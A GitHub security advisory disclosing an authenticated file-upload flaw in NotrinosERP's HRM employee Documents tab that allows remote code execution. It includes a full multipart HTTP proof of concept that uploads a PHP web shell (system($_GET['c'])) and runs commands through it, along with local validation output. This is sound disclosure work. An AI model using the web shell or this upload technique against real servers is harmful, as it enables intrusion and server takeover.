Skip to content

NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file)

High severity GitHub Reviewed Published Jul 10, 2026 in notrinos/NotrinosERP • Updated Jul 10, 2026

Package

composer notrinos/notrinos-erp (Composer)

Affected versions

<= 1.0.0

Patched versions

None

Description

Summary

An authenticated user with the HR "Manage Employees" permission (SA_EMPLOYEE) can upload a file with an arbitrary extension through the employee Documents tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a .php file is stored under the web root and executes as code, yielding remote code execution on the server.

Details

The document-upload branch in hrm/manage/employees.php (function tab_documents()) moves the uploaded file using the client filename verbatim:

// hrm/manage/employees.php -> tab_documents()  (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
    mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }

There is no extension allow-list, getimagesize(), MIME check, or content inspection on this path. Contrast this with the profile photo (pic) upload in the same file, which validates image type/extension/size, and with core includes/ui/attachment.inc, which deliberately generates a random extension-less name (uniqid()) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.

Reachability of the written file:

  • company_path() resolves under the web root; config.default.php sets
    $comp_path = $path_to_root.'/company', so uploads land in company/0/documents/employees/.
  • The only .htaccess in the project is the repo-root one, which denies .inc/.po/.sh/.pem/.sql/.log
    only — it does not block .php and does not cover company/.
  • The stored path is then echoed unescaped into a clickable "View" link
    (hrm/includes/ui/employee_ui.inc lines 153-154 — file_path concatenated straight into href),
    handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).

A crafted multipart filename containing ../ additionally enables path traversal (CWE-22) on PHP builds that do not basename ['name'].

Proof of Concept

The upload is gated by authentication and CSRF, but neither gates the file itself. Prerequisites: an authenticated session with SA_EMPLOYEE; an existing employee (employee_no); a valid doc_type_id; and the session CSRF token. The CSRF field is _token (validated bycheck_csrf_token() against $_SESSION['csrf_token']), so first GET the Documents form to read the
hidden _token, then submit. Against your own local instance:

POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: <your-local-instance>
Cookie: <authenticated session>
Content-Type: multipart/form-data; boundary=b

--b
Content-Disposition: form-data; name="_token"

<value of the hidden _token field from the GET response>
--b
Content-Disposition: form-data; name="doc_type_id"

<a valid document type id>
--b
Content-Disposition: form-data; name="doc_name"

x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['c']); ?>
--b
Content-Disposition: form-data; name="save_document"

Save Document
--b--

Then request the stored file (its exact path is shown in the Documents tab's "View" link):

GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1

The command in c executes on the server.

Validation (performed locally, no network)

The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's verbatim path/move logic wrote company/0/documents/employees/1_<ts>_shell.php (attacker-chosen .php extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:

$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../<same>.php?c=uname%20-sm;whoami'
Darwin arm64
<user>

Caveats: (1) the harness used copy() in place of move_uploaded_file() because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (poc/rce_demo.php); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root .htaccess does not block .php and does not cover company/. The full HTTP flow additionally requires the auth + _token + doc_type_id prerequisites above, none of which inspect the file.

Impact

Remote code execution on the hosting server by any authenticated operator holding the delegable SA_EMPLOYEE role (not necessarily an administrator). If a deployment grants SA_EMPLOYEE only to administrators, treat privileges-required as High (CVSS ≈ 7.2).

Suggested fix

  • Never use the client filename on disk. Store with a server-generated name and no executable
    extension
    (mirror includes/ui/attachment.inc's uniqid() approach); keep the original name
    only as a DB label.
  • Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the pic
    branch already does.
  • Store uploads outside the web root, or drop an .htaccess/web.config in
    company/*/documents/ that disables script execution (php_admin_flag engine off,
    RemoveHandler .php, SetHandler none).
  • htmlspecialchars() the stored path before emitting the "View" link (fixes the secondary XSS).

Resources / credit

  • Affected code: hrm/manage/employees.php, hrm/includes/db/employee_document_db.inc, hrm/includes/ui/employee_ui.inc.
  • Reported by: <Kasper Hong / Kasper Builds>.

References

@notrinos notrinos published to notrinos/NotrinosERP Jul 10, 2026
Published to the GitHub Advisory Database Jul 10, 2026
Reviewed Jul 10, 2026
Last updated Jul 10, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Unrestricted Upload of File with Dangerous Type

The product allows the upload or transfer of dangerous file types that are automatically processed within its environment. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-qv4m-m73m-8hj7

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.